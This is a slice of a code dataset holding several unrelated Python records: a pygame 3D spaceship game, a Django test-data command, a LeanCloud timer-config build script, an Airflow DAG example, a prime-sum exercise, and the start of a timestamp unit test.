self.gate1[0][1]-self.gate1[2][1] #finds dimentions of gate appearence\r\n delta_y = self.gate1[0][2]-self.gate1[2][2]\r\n distance = (delta_x**2+delta_y**2)**0.5\r\n \r\n sin = delta_y/distance #finds the sin and cos of the angle tilted\r\n cos = delta_x/distance\r\n\r\n if sin > 0.05 or (keys[pygame.K_r] and self.R_press == False) or (sin > 0.005 and self.score > 25): #Starts to rotate gates back\r\n \r\n a = [[1,0,0],[0,-cos,-sin],[0,sin,-cos]] #Rotation matrix\r\n \r\n for i in range (0,4): #Rotates the gates\r\n self.gate1[i] = Game.matmul(a,self.gate1[i])\r\n self.gate2[i] = Game.matmul(a,self.gate2[i])\r\n self.gate3[i] = Game.matmul(a,self.gate3[i])\r\n\r\n for i in range (0,len(self.planets)): #Rotates the planets\r\n self.planets[i] = Game.matmul(a,self.planets[i])\r\n \r\n for i in range (0,len(self.stars)): #Rotates the stars\r\n self.stars[i] = Game.matmul(a,self.stars[i])\r\n\r\n self.R_press = True #Prevents the funtion from running repeatedly\r\n \r\n else:\r\n self.R_press = False\r\n \r\n #********************* Adds scoring and makes new gates ***********************#\r\n \r\n if abs(Game.det(self.gate1[0],self.gate1[1],self.gate1[2])) < 0.01*self.speed: #finds of player is on the same plane as gate\r\n \r\n if self.gate1[0][1] <= 0.005 and self.gate1[0][2] <= 0.005 and self.gate1[3][1] >= -0.005 and self.gate1[3][2] >= -0.005: #Checks of player is in or out of gate\r\n \r\n for i in range (0,4):\r\n self.gate1[i] = self.gate2[i] #Turns gate 2 into gate 1\r\n self.gate2[i] = self.gate3[i] #Turns gate 3 into gate 2\r\n \r\n y = random.uniform(-1.2,1.2) #Position of new gate\r\n z = random.uniform(-1.2,1.2)\r\n \r\n x_avg = (self.gate3[0][0]+self.gate3[1][0]+self.gate3[2][0]+self.gate3[3][0])*0.25\r\n y_avg = (self.gate3[0][1]+self.gate3[1][1]+self.gate3[2][1]+self.gate3[3][1])*0.25\r\n z_avg = (self.gate3[0][2]+self.gate3[1][2]+self.gate3[2][2]+self.gate3[3][2])*0.25\r\n \r\n self.gate3[0] = [10 + x_avg, y_avg + y - 0.3, z_avg + z - 0.15] #Establishes new gate\r\n self.gate3[1] = [10 + x_avg, y_avg + y - 0.3, z_avg + z + 0.15]\r\n self.gate3[2] = [10 + x_avg, y_avg + y + 0.3, z_avg + z - 0.15]\r\n self.gate3[3] = [10 + x_avg, y_avg + y + 0.3, z_avg + z + 0.15]\r\n \r\n self.score += 1 #Update score\r\n Game.updateplanets(self) #Makes new set of planets ahead\r\n self.speed += 0.2 #Updates speed\r\n\r\n else:\r\n Game.restart(self)\r\n \r\n def makegates(self): #Makes the gates in predetermined positions\r\n \r\n self.gate1 = [[5,-0.3,-0.15],[5,-0.3,0.15],[5,0.3,-0.15],[5,0.3,0.15]]\r\n self.gate2 = [[15,-0.3,-0.15],[15,-0.3,0.15],[15,0.3,-0.15],[15,0.3,0.15]]\r\n self.gate3 = [[25,-0.3,-0.15],[25,-0.3,0.15],[25,0.3,-0.15],[25,0.3,0.15]]\r\n\r\n self.metor = [[10,-0.2,-0.2],[10,-0.2,-0.2],[11,0.2,-0.2],[11,0.6,0.2]] #** NOT USED **#\r\n self.metorspeed = [0.05,0.05,0.05] #** NOT USED **#\r\n \r\n def display(self): #Puts the envoirment through the show function\r\n \r\n starL = len(self.stars) \r\n for i in range (0,starL): #Displays each star\r\n Game.show(self.stars[i],3,False,self,(255,255,255))\r\n \r\n planetsL = len(self.planets)\r\n for i in range (0,planetsL): #Displays each planet\r\n Game.show(self.planets[i],self.planetsradius[i],True,self,(200,150,0))\r\n \r\n\r\n Game.showline(self.gate3[0],self.gate3[1],5,True,self,(0,0,255)) #Displays gate 3\r\n Game.showline(self.gate3[0],self.gate3[2],5,True,self,(0,0,255))\r\n Game.showline(self.gate3[3],self.gate3[1],5,True,self,(0,0,255))\r\n Game.showline(self.gate3[3],self.gate3[2],5,True,self,(0,0,255))\r\n\r\n Game.showline(self.gate2[0],self.gate2[1],5,True,self,(255,0,0)) #Displays gate 2\r\n Game.showline(self.gate2[0],self.gate2[2],5,True,self,(255,0,0))\r\n Game.showline(self.gate2[3],self.gate2[1],5,True,self,(255,0,0))\r\n Game.showline(self.gate2[3],self.gate2[2],5,True,self,(255,0,0))\r\n\r\n Game.showline(self.gate1[0],self.gate1[1],5,True,self,(0,255,0)) #Displays gate 1\r\n Game.showline(self.gate1[0],self.gate1[2],5,True,self,(0,255,0))\r\n Game.showline(self.gate1[3],self.gate1[1],5,True,self,(0,255,0))\r\n Game.showline(self.gate1[3],self.gate1[2],5,True,self,(0,255,0))\r\n\r\n textsurface = myfont.render(str(self.score), False, (255, 255, 255)) #Shows score during gameplay\r\n window.blit(textsurface,(10,5))\r\n \r\n def show(p3Dlist,radius,Scale,self,color): #Function for displaying points\r\n \r\n screenx = 3 #Distance user pojected screen is\r\n screeny = 2 #Width of projected screen\r\n height = 500\r\n width = 800\r\n screenz = screeny*height/width #Height of projected screen\r\n \r\n xpos = p3Dlist[0]+ self.viewpoint[0] #Accouts for players view\r\n ypos = p3Dlist[1]+ self.viewpoint[1]\r\n zpos = p3Dlist[2]+ self.viewpoint[2]\r\n \r\n r = radius\r\n \r\n if Scale: #For scaling size of planets and editing them\r\n d = ((p3Dlist[0])**2 +(p3Dlist[1])**2 +(p3Dlist[2])**2)**0.5 #Finds distance\r\n \r\n if xpos > 0.01 and d < 70 and d > r: #Filters out far and non visible planets\r\n \r\n #r = r/(((d**2-(p3Dlist[2])**2)**0.5+p3Dlist[0])**0.5-r) #** NOT USED **#\r\n r = 0.7 \r\n \r\n #if d <= radius: # Collision check #**NOT USED **#\r\n #Game.restart(self)\r\n\r\n ypos = screenx*ypos*width/(xpos*screeny)\r\n zpos = screenx*zpos*height/(xpos*screenz)\r\n \r\n if r > 0 and xpos > 0.01: #Displays only visible planets \r\n pygame.draw.circle(window, color, [int(ypos+400),int(-zpos+250)], int(0.9)) #Draws object\r\n \r\n def showline(p3Dlist1,p3Dlist2,radius,Scale,self,color): #Function for displaying lines\r\n screenx = 3 #Distance user pojected screen is\r\n screeny = 2 #Width of projected screen\r\n height = 500\r\n width = 800\r\n \r\n screenz = screeny*height/width #Height of projected screen\r\n \r\n xpos1 = p3Dlist1[0]+ self.viewpoint[0] #Accouts for players view\r\n ypos1 = p3Dlist1[1]+ self.viewpoint[1]\r\n zpos1 = p3Dlist1[2]+ self.viewpoint[2]\r\n \r\n xpos2 = p3Dlist2[0]+ self.viewpoint[0]\r\n ypos2 = p3Dlist2[1]+ self.viewpoint[1]\r\n zpos2 = p3Dlist2[2]+ self.viewpoint[2]\r\n \r\n r = radius\r\n \r\n if Scale: #Scaling thinkness of line\r\n d = 0.5*((xpos1+xpos2)**2 +(ypos1+ypos2)**2 +(zpos1+zpos2)**2)**0.5\r\n r = (r/d)+1\r\n \r\n if xpos1 > 0.001 and xpos2 > 0.001: #Finds the position of line on screen\r\n \r\n ypos1 = screenx*ypos1*width/(xpos1*screeny)\r\n zpos1 = screenx*zpos1*height/(xpos1*screenz)\r\n \r\n ypos2 = screenx*ypos2*width/(xpos2*screeny)\r\n zpos2 = screenx*zpos2*height/(xpos2*screenz)\r\n \r\n pygame.draw.line(window, color, [int(ypos1+400),int(-zpos1+250)],[int(ypos2+400),int(-zpos2+250)], int(r)) #Draws line on screen\r\n\r\n\r\n def drawtriangle(p3Dlist1,p3Dlist2,p3Dlist3,color,self): #For displaying 3d triangles ****NOT USED IN PROGRAM **** \r\n screenx = 3\r\n screeny = 2\r\n height = 500\r\n width = 800\r\n screenz = screeny*height/width\r\n \r\n xpos1 = p3Dlist1[0]+ self.viewpoint[0]\r\n ypos1 = p3Dlist1[1]+ self.viewpoint[1]\r\n zpos1 = p3Dlist1[2]+ self.viewpoint[2]\r\n \r\n xpos2 = p3Dlist2[0]+ self.viewpoint[0]\r\n ypos2 = p3Dlist2[1]+ self.viewpoint[1]\r\n zpos2 = p3Dlist2[2]+ self.viewpoint[2]\r\n \r\n xpos3 = p3Dlist3[0]+ self.viewpoint[0]\r\n ypos3 = p3Dlist3[1]+ self.viewpoint[1]\r\n zpos3 = p3Dlist3[2]+ self.viewpoint[2]\r\n \r\n if xpos1 > 0.001 and xpos2 > 0.001 and xpos3 > 0.001:\r\n ypos1 = screenx*ypos1*width/(xpos1*screeny) + 400\r\n zpos1 = -screenx*zpos1*height/(xpos1*screenz) + 250\r\n ypos2 = screenx*ypos2*width/(xpos2*screeny) + 400\r\n zpos2 = -screenx*zpos2*height/(xpos2*screenz) + 250\r\n ypos3 = screenx*ypos3*width/(xpos3*screeny) + 400\r\n zpos3 = -screenx*zpos3*height/(xpos3*screenz) + 250\r\n \r\n pygame.draw.polygon(window, color, [[int(ypos1),int(zpos1)],[int(ypos2),int(zpos2)],[int(ypos3),int(zpos2)]], 0)\r\n\r\n def movemetor(self): # for moving metors #**** NOT USED IN PROGRAMS ***#\r\n \r\n Game.rotate([self.metorspeed],self)\r\n Game.rotate(self.metor,self)\r\n Game.moveforward(self.metor,self)\r\n \r\n for i in range(0,4):\r\n for j in range(0,3):\r\n self.metor[i][j] = float(self.metor[i][j]) + self.metorspeed[j]/self.fps\r\n\r\n Game.drawtriangle(self.metor[0],self.metor[1],self.metor[2],(200,50,50),self)\r\n Game.drawtriangle(self.metor[0],self.metor[1],self.metor[3],(200,50,50),self)\r\n Game.drawtriangle(self.metor[0],self.metor[2],self.metor[3],(200,50,50),self)\r\n Game.drawtriangle(self.metor[1],self.metor[2],self.metor[3],(200,50,50),self)\r\n \r\n def rotate(relpoints,self): #Rotates points around user\r\n\r\n p,y = self.orientation #Takes out pitch and yaw\r\n \r\n sin_w = math.sin(y) #Yaw angle\r\n cos_w = math.cos(y)\r\n sin_p = math.sin(p) #Pitch angle\r\n cos_p = math.cos(p)\r\n\r\n a = [[cos_w,sin_w,0],[-sin_w,cos_w,0],[0,0,1]] #Right is + (This moves the user left and right)\r\n for i in range (0,len(relpoints)):\r\n relpoints[i] = Game.matmul(a,relpoints[i])\r\n \r\n a = [[cos_p,0,-sin_p],[0,1,0],[sin_p,0,cos_p]] #Up is + (This moves the user up and down)\r\n for i in range (0,len(relpoints)):\r\n relpoints[i] = Game.matmul(a,relpoints[i])\r\n\r\n def change_orientation(self): #Tilts the player's rocket\r\n\r\n MAX_pitch = math.pi/100\r\n MAX_yaw = math.pi/100\r\n \r\n Pc = 0.1 #Speed the user can turn at\r\n Wc = Pc\r\n \r\n PR = 0.7 #Speed the user returns back at flying position\r\n WR = PR\r\n\r\n keys = pygame.key.get_pressed()\r\n\r\n if keys[pygame.K_RIGHT]:\r\n self.orientation[1] += (MAX_yaw - self.orientation[1])*Wc\r\n self.orientation[0] *= PR\r\n\t \r\n elif keys[pygame.K_LEFT]:\r\n self.orientation[1] -= (MAX_yaw + self.orientation[1])*Wc\r\n self.orientation[0] *= PR\r\n\r\n elif keys[pygame.K_UP]:\r\n self.orientation[0] += (-self.orientation[0] - MAX_yaw)*Pc\r\n self.orientation[1] *= WR\r\n\r\n elif keys[pygame.K_DOWN]:\r\n self.orientation[0] -= (self.orientation[0] - MAX_yaw)*Pc\r\n self.orientation[1] *= WR\r\n\r\n else: #When user isn't pressing anything\r\n self.orientation[0] *= PR\r\n self.orientation[1] *= WR\r\n\r\n def moveforward(p3Dlist,self): #Moves envoirment towards player\r\n \r\n for i in range (0,len(p3Dlist)): #Iliterates through list\r\n p3Dlist[i][0] = float(p3Dlist[i][0]) - self.speed/self.fps\r\n\r\n def makestars(self): #Makes the stars in eniorment\r\n \r\n for i in range(0,100): #Make 100 stars\r\n \r\n o = random.uniform(0,6.28)#Angle with x and z axis\r\n q = random.uniform(0,6.28)\r\n \r\n x = 10*math.sin(q)*math.cos(o) #Convert from polar coordinates\r\n y = 10*math.sin(q)*math.sin(o)\r\n z = 10*math.cos(q)\r\n \r\n self.stars.append([x,y,z]) #Add star to list\r\n\r\n def makeplanets(self): #Makes planets in enviorment\r\n \r\n for j in range(0,10): #Makes planets in 10 sets\r\n for i in range (0,80): #Each set has 20 planets\r\n \r\n x = random.uniform(0,10)\r\n y = random.uniform(-25,25)\r\n z = random.uniform(-25,25)\r\n r = random.uniform(1.5,4)\r\n \r\n self.planets.append([x+j*10,y,z]) #Adds to list of planets\r\n self.planetsradius.append(r) #Stores radius in seperate list\r\n\r\n def updateplanets(self): #Updates planet location when player progresses\r\n for i in range(0,20): #Takes out oldest 2 sets\r\n \r\n x = random.uniform(0,10)\r\n y = random.uniform(-25,25)\r\n z = random.uniform(-25,25)\r\n r = random.uniform(1.5,4)\r\n \r\n self.planets[i+((self.score-1)%10)*40] = [x+80,y,z] #Change oldest set to new set\r\n self.planetsradius[i+((self.score-1)%10)*40] = r #Updates the radius\r\n \r\n def displayrocket(self): #Displays the rocket\r\n \r\n y = self.orientation[1] #Yaw\r\n p = self.orientation[0] #Pitch\r\n sin_w = math.sin(y*13) #Sine and Cosine of pitch and yaw\r\n cos_w = math.cos(y*13)\r\n sin_p = math.sin(p*10)\r\n cos_p = math.cos(p*10)\r\n \r\n tri = [[400,int(330+80*sin_p+5)],[int(400-50*cos_w-15*sin_p), int(350-50*sin_w-15*sin_p)],[int(400+50*cos_w), int(350+50*sin_w)]] #Main body triangle location\r\n eng1 = [int(400-25*cos_w), int(350-25*sin_w)] #Booster location\r\n eng2 = [int(400+25*cos_w), int(350+25*sin_w)]\r\n \r\n pygame.draw.polygon(window, (210,210,50), tri) #Draw main body triangle \r\n pygame.draw.circle(window, (100,100,100), eng1, int(10)) #Left booster outside\r\n pygame.draw.circle(window, (255,100,0), eng1, int(7)) #Left booster inside\r\n pygame.draw.circle(window, (100,100,100), eng2, int(10)) #Right booster outside\r\n pygame.draw.circle(window, (255,100,0), eng2, int(7)) #Right booster inside\r\n\r\n\r\np1 = Game() #Creates a game object\r\np1.run() #Runs the function to start the game\r\n", "repo_name": "JoshuaScripcaru/3D-Spaceship-Game", "sub_path": "Spaceship-Game.py", "file_name": "Spaceship-Game.py", "file_ext": "py", "file_size_in_byte": 22673, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.init", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 16, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 20, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 42, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 67, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 67, "usage_type": "attribute"}, {"api_name": "pygame.event.pump", "line_number": 68, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 68, "usage_type": "attribute"}, {"api_name": "pygame.time.delay", "line_number": 70, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 70, "usage_type": "attribute"}, {"api_name": "random.uniform", "line_number": 108, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 109, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 110, "usage_type": "call"}, {"api_name": "pygame.draw.circle", "line_number": 116, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 116, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 118, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 118, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 126, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 126, "usage_type": "attribute"}, {"api_name": "pygame.event.pump", "line_number": 127, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 127, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pressed", "line_number": 133, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 133, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 139, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 139, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 140, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 141, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 142, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 144, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 144, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 196, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 196, "usage_type": "attribute"}, {"api_name": "pygame.event.pump", "line_number": 197, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 197, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 201, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 201, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pressed", "line_number": 206, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 206, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 209, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 209, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 210, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 211, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 212, "usage_type": "call"}, {"api_name": "pygame.key.get_pressed", "line_number": 229, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 229, "usage_type": "attribute"}, {"api_name": "pygame.K_r", "line_number": 240, "usage_type": "attribute"}, {"api_name": "random.uniform", "line_number": 270, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 271, "usage_type": "call"}, {"api_name": "pygame.draw.circle", "line_number": 356, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 356, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 388, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 388, "usage_type": "attribute"}, {"api_name": "pygame.draw.polygon", "line_number": 418, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 418, "usage_type": "attribute"}, {"api_name": "math.sin", "line_number": 439, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 440, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 441, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 442, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 454, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 455, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 463, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 463, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 465, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 469, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 473, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 477, "usage_type": "attribute"}, {"api_name": "random.uniform", "line_number": 494, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 495, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 497, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 497, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 498, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 499, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 508, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 509, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 510, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 511, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 519, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 520, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 521, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 522, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 531, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 532, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 533, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 534, "usage_type": "call"}, {"api_name": "pygame.draw.polygon", "line_number": 540, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 540, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 541, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 541, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 542, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 542, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 543, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 543, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 544, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 544, "usage_type": "attribute"}]} {"seq_id": "6682031860", "text": "from django.core.management.base import BaseCommand\nfrom mixer.backend.django import mixer\n\nfrom base_app.models import Item\n\n\nclass Command(BaseCommand):\n help = \"Create test data\"\n\n def handle(self, *args, **kwargs):\n items = Item.objects.all().count()\n if items < 10:\n while items < 10:\n item = mixer.blend(Item)\n items = Item.objects.all().count()\n self.stdout.write(\"Created data x 10\")\n else:\n self.stdout.write(\"Data has already been created\")", "repo_name": "Nikolrusik/django_stripe_test", "sub_path": "base_app/management/commands/create_data.py", "file_name": "create_data.py", "file_ext": "py", "file_size_in_byte": 540, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.core.management.base.BaseCommand", "line_number": 7, "usage_type": "name"}, {"api_name": "base_app.models.Item.objects.all", "line_number": 11, "usage_type": "call"}, {"api_name": "base_app.models.Item.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "base_app.models.Item", "line_number": 11, "usage_type": "name"}, {"api_name": "mixer.backend.django.mixer.blend", "line_number": 14, "usage_type": "call"}, {"api_name": "base_app.models.Item", "line_number": 14, "usage_type": "argument"}, {"api_name": "mixer.backend.django.mixer", "line_number": 14, "usage_type": "name"}, {"api_name": "base_app.models.Item.objects.all", "line_number": 15, "usage_type": "call"}, {"api_name": "base_app.models.Item.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "base_app.models.Item", "line_number": 15, "usage_type": "name"}]} {"seq_id": "70855687291", "text": "#%%\nimport os\nimport json\n\nimport configparser\nimport hashlib\n\ncurpath = os.path.dirname(os.path.realpath(__file__))\ncfgpath = os.path.join(curpath, \"config.ini\")\nlocal_cfg_path = os.path.join(curpath,'config.local.ini')\nif os.path.exists(local_cfg_path): cfgpath = local_cfg_path\n\nconf = configparser.ConfigParser()\nconf.read(cfgpath, encoding=\"utf-8\")\n\nsections = conf.sections()\ntimer_id = input('请输入计时码:')\n\nlc_id = conf.get('leancloud', 'appId')\nlc_key = conf.get('leancloud', 'appKey')\n\n#%%\nimport leancloud\nleancloud.init(lc_id, lc_key)\n\nimport logging\n\n# %%\n\nquery = leancloud.Query('TimerRule')\nquery.equal_to('timerId', int(timer_id))\ntr = query.first()\n# print(tr.timerId)\n# %%\ntr_name = tr.get('ruleName')\noutput = {\n 'timerId': tr_name,\n 'rules': tr.get('rule')\n}\n# %%\njson_out = json.dumps(output,ensure_ascii=False)\n\njs_out = f\"\"\"const offlineConfig = {{\n timerId: '{tr.get('ruleName')}',\n rules: '{tr.get('rule')}',\n}};\nexport default offlineConfig;\n\"\"\"\n\n#%%\nwith open('../src/libs/offlineConfig.js', 'w', encoding='utf-8', newline='') as f:\n f.write(js_out)\n# %%\nver = '1.21.901'\nos.system(\"cd .. && npm run electron:build32\")\n#%%\nimport shutil\nexe_path = os.path.abspath(f\"../dist_electron/bamboo-drag Setup {ver}.exe\")\nthis_path = os.path.abspath(f\"./timers/32位·辩之竹计时器·{tr_name}.exe\")\nshutil.copy(exe_path, this_path)\n# %%\n", "repo_name": "yuzh2001/bamboo-debate-timer", "sub_path": "offline/main32.py", "file_name": "main32.py", "file_ext": "py", "file_size_in_byte": 1374, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "configparser.ConfigParser", "line_number": 13, "usage_type": "call"}, {"api_name": "leancloud.init", "line_number": 24, "usage_type": "call"}, {"api_name": "leancloud.Query", "line_number": 30, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 41, "usage_type": "call"}, {"api_name": "os.system", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "shutil.copy", "line_number": 60, "usage_type": "call"}]} {"seq_id": "24291253497", "text": "#! /user/bin/env python\n# -*- coding=utf-8 -*-\n\nfrom airflow.operators import BashOperator, DummyOperator\nfrom airflow.models import DAG\nfrom datetime import datetime, timedelta\n\nseven_days_ago = datetime.combine(datetime.today() - timedelta(7),\n datetime.min.time())\nargs = {\n 'owner': 'airflow',\n 'start_date': seven_days_ago,\n}\n\ndag = DAG(\n dag_id='dag2',\n default_args=args,\n schedule_interval=\"30 17 * * *\" # 这里可以填crontab时间格式\n )\n\ntask0 = DummyOperator(task_id='task0', dag=dag)\n\ncmd = 'ls -l'\ntask1 = BashOperator(\n task_id = 'task1',\n bash_command = cmd,\n dag = dag)\n\ntask0.set_downstream(task1)\n\ntask2 = DummyOperator(\n trigger_rule = 'all_done',\n task_id = 'task2',\n dag = dag,\n depends_on_past = True)\n\ntask2.set_upstream(task1)\n\ntask3 = DummyOperator(\n trigger_rule = 'all_done',\n depends_on_past = True,\n task_id = 'task3',\n dag = dag)\n\ntask3.set_upstream(task2)\n\ntask4 = BashOperator(\n task_id = 'task4',\n bash_command = 'lsfds-ljss',\n dag = dag)\n\ntask5 = DummyOperator(\n trigger_rule = 'all_done',\n task_id = 'task5',\n dag = dag)\n\ntask5.set_upstream(task4)\ntask5.set_upstream(task3)\n", "repo_name": "likeweilikewei/Python-study-demo", "sub_path": "airflow/test_airflow.py", "file_name": "test_airflow.py", "file_ext": "py", "file_size_in_byte": 1263, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime.combine", "line_number": 8, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 8, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 8, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 8, "usage_type": "call"}, {"api_name": "datetime.datetime.min.time", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime.min", "line_number": 9, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 9, "usage_type": "name"}, {"api_name": "airflow.models.DAG", "line_number": 15, "usage_type": "call"}, {"api_name": "airflow.operators.DummyOperator", "line_number": 21, "usage_type": "call"}, {"api_name": "airflow.operators.BashOperator", "line_number": 24, "usage_type": "call"}, {"api_name": "airflow.operators.DummyOperator", "line_number": 31, "usage_type": "call"}, {"api_name": "airflow.operators.DummyOperator", "line_number": 39, "usage_type": "call"}, {"api_name": "airflow.operators.BashOperator", "line_number": 47, "usage_type": "call"}, {"api_name": "airflow.operators.DummyOperator", "line_number": 52, "usage_type": "call"}]} {"seq_id": "20393572394", "text": "import itertools\n\n# Author John Nilsson, 2017-10-28\n\n#\n# Question 10:\n#\n# The sum of the primes below 10 is 2 + 3 + 5 + 7 = 17.\n# Find the sum of all the primes below two million.\n\n# primes = [2]\n# for i in range(2, 100001):\n# if all((i+1) % count for count in range(2, i)):\n# primes.append(i+1)\n#\n# print(primes)\n\ndef erat2():\n D = {}\n yield 2\n for q in itertools.islice(itertools.count(3), 0, None, 2):\n p = D.pop(q, None)\n if p is None:\n D[q*q] = q\n yield q\n else:\n x = p + q\n while x in D or not (x&1):\n x += p\n D[x] = p\n\ndef get_primes_erat(n):\n return list(itertools.takewhile(lambda p: p\n# Purpose:\n# Created: 8/4/2021\n\n__author__ = \"ASU\"\n\nimport unittest\nfrom datetime import datetime, timezone\nfrom time import time, localtime, strftime\nfrom unittest import TestCase\n\nimport numpy as np\nimport pytz\nfrom dateutil import tz\n\nfrom tsx import TS, TSMsec\n\n\nclass TestTS(TestCase):\n INT_BASE_TS = 1519855200\n INT_BASE_ROUND_MS_TS = 1519855200000\n INT_BASE_MS_TS = 1519855200123\n FLOAT_MS_TS = 1519855200.123856\n STR_SEC_TS = \"2018-02-28T22:00:00Z\"\n AS_FILE_SEC_TS = \"20180228-220000\"\n STR_MSEC_TS = \"2018-02-28T22:00:00.123000Z\"\n\n def 